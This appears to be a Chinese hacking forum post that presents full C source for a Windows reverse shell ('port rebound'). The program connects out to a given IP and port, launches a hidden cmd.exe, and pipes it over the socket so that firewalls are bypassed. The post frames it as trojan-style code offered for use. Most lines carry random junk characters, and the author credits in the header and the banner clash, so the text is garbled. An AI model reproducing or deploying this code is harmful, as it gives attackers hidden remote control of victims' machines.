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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /.05rTpp  
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/* ============================== {_3ZKD(\  
Rebound port in Windows NT xQ1&j,R]  
By wind,2006/7 e@k ti@ZJ  
===============================*/ CJjma=XH  
#include a>sUq["  
#include \R&`bAdk  
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#pragma comment(lib,"wsock32.lib") BAm H2"  
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void OutputShell(); zfi{SO l  
SOCKET sClient; R9S7p)B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nImRU.;P  
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void main(int argc,char **argv) kf>'AbN  
{ TKoO\\  
WSADATA stWsaData; JEY%(UR8  
int nRet; s26s:A3rh  
SOCKADDR_IN stSaiClient,stSaiServer; a+\ Gz  
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if(argc != 3) }kL% l  
{ yKZ~ ^  
printf("Useage:\n\rRebound DestIP DestPort\n"); hpWAQ#%oHm  
return; |[!xLqG  
} A!iH g__/t  
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WSAStartup(MAKEWORD(2,2),&stWsaData); \jq1F9,  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J9poqp@`MG  
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stSaiClient.sin_family = AF_INET; P[XE5puC  
stSaiClient.sin_port = htons(0); =\X<UA}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v~uwQ&AH  
)}G HG#D{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Bu!Gy8\  
{ qf24l&}  
printf("Bind Socket Failed!\n"); pVbX#3  
return; C6'[Tn  
} 4 Iy\   
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stSaiServer.sin_family = AF_INET;  r) X?H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Wt8;S$!=R  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^o?.Rph|i]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m} Yf6:cr  
{ ) 3Y E$,  
printf("Connect Error!"); X/gh>MJJ<  
return; BvX!n"QIb  
} Grjm9tbX}  
OutputShell(); $ P#k|A  
} n4Q!lJ  
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void OutputShell() zKiKda%)  
{ %gw0^^A  
char szBuff[1024]; 00b )Bg  
SECURITY_ATTRIBUTES stSecurityAttributes; L]HY*e  
OSVERSIONINFO stOsversionInfo; 9^ mrsj  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B*D`KA  
STARTUPINFO stStartupInfo; GueqpEd2  
char *szShell; hrcR"OZ~X  
PROCESS_INFORMATION stProcessInformation; O^:Rm=,$  
unsigned long lBytesRead; &lGp /m:  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N{Is2Ia  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7sLs+ |<"  
stSecurityAttributes.lpSecurityDescriptor = 0; G e~&Ble  
stSecurityAttributes.bInheritHandle = TRUE; p( Qm\g<  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `?Y/:4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CiPD+I  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5jYRIvM[Q~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q~l&EH0  
stStartupInfo.wShowWindow = SW_HIDE; ~@sx}u  
stStartupInfo.hStdInput = hReadPipe; @ @# G.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l|N1u=Z  
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GetVersionEx(&stOsversionInfo); RqcX_x(p  
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switch(stOsversionInfo.dwPlatformId) >#0yd7BST  
{ q"]-CGAa  
case 1: DUW;G9LP$-  
szShell = "command.com"; `^w5/v#  
break; bLNQ%=FjO  
default: Xb;CY9&  
szShell = "cmd.exe"; /- kMzL  
break; 6o,, w^  
} BHFWig*{  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QZ{:#iuig  
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send(sClient,szMsg,77,0); uO BpMAJ  
while(1) ]p#Zdm1EL  
{ ZC0F:=/K  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eUBk^C]\  
if(lBytesRead) n}?kQOg0/  
{ B V Pf8!-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T]E$H, p  
send(sClient,szBuff,lBytesRead,0); @rVmr{UE  
} zHu:Ec7  
else #Q|$&b  
{ Q$RP2&  
lBytesRead=recv(sClient,szBuff,1024,0); ,Xb:f/lB  
if(lBytesRead<=0) break; jP}N^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cJH7zumM)  
} ?mF-zA'4]  
} zHx?-Q&3  
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return; j[Et+V?  
}
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